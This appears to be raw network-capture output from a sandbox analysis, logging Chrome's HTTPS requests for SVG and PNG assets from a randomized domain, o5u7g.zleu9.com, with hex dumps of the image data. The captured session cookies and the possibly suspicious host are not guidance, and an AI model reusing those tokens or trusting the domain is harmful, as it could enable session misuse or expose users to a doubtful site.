2024-04-23 19:54:09 UTC	653	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wxU2EPAQmKCucHi94Nct3opto7kIWmKk6EPt8vWRE90180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x%2BpVyGTGBni2gDKKNWsVby5CX55KfG%2FWEk%2FWDT%2BJEX7lOjG8l2GFB%2BtwKyrzX19wPGMtyUZAGY2HEQ3xwP1Ac9kM7TTCbAlZbnEK42k5kVmaOfzqBhYG8fOG1MCb7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067622835b05a-ATL
2024-04-23 19:54:09 UTC	716	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-23 19:54:09 UTC	1369	IN	Data Raw: 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e 31 35 2c 31 37 2e Data Ascii: 84,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.
2024-04-23 19:54:09 UTC	827	IN	Data Raw: 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 2c 31 31 2e 32 39 Data Ascii: 3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293,11.29
2024-04-23 19:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49793	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1512	OUT	GET /rsPK886pjR4MWSVO0Uifxwl7OmK6HMvCpponbOALuvbCTlXpqF0r1n0CK0ef200 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:10 UTC	672	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsPK886pjR4MWSVO0Uifxwl7OmK6HMvCpponbOALuvbCTlXpqF0r1n0CK0ef200" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4SEN5fa0WUIk%2BgyUiDRCTznFP7%2F533CDBTIOfFd2y2tguAl%2FR60PGQ1G9WNGHzhpFaGRU39pDolOUT4YES%2BPntXgilQ4L1awVSekt5OoCH513xmMcGnrjO%2FQ%2BOaf8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067623cbcb0a6-ATL
2024-04-23 19:54:10 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-23 19:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49794	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1101	OUT	GET /uvReLdUstUtCbWsqopShVHLQdjK9um4BlP12130 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	631	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="uvReLdUstUtCbWsqopShVHLQdjK9um4BlP12130" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E%2FFtSKdDIhhCifJzbV7zqEUu9MkPUYE%2Bc9at1tWHPQYjj3edTADLS2Q1YNPDr%2FslHwqTXQGiKvMWWNHznxPsJnLjuYPcECGZ4tsTLhXjG39imBYN5Lh0lWkGpeExMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067628c496738-ATL
2024-04-23 19:54:09 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49795	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1522	OUT	GET /ghKeukEOXpk08d7sqAz7M1lBesvLMPeWkhZORrTevmnvovqEHrlQNU4MGnNhzR0tmqV912202 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:10 UTC	667	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:10 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghKeukEOXpk08d7sqAz7M1lBesvLMPeWkhZORrTevmnvovqEHrlQNU4MGnNhzR0tmqV912202" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Kestf664rreRaLLLbv%2FGlKAFYEdta7MIxDMxsKZ7oDRRKhFKZQ1o8CfqlDGGCjc%2BajLbqPcglGk6sbkX5wuAkAKlajG5NWzfnD6C%2Bv4rPe5gXdeRjEEimIcG6B8yQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906762fb1db03e-ATL
2024-04-23 19:54:10 UTC	702	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 3d 70 2d 70 3d 6e b9 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 Data Ascii: =p-p=n"I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 49 92 24 49 92 a0 fa 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 Data Ascii: I$IgPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: ba c3 a2 12 1b 01 5c 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 Data Ascii: \@9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 1a 76 a2 cf bb a8 9a 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 fe 9c eb Data Ascii: v(Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 72 10 f1 f7 e2 5c 75 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 f1 06 00 Data Ascii: r\uF3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: c0 59 c0 0a c1 59 24 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 b8 fa 46 Data Ascii: YY$I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+pF
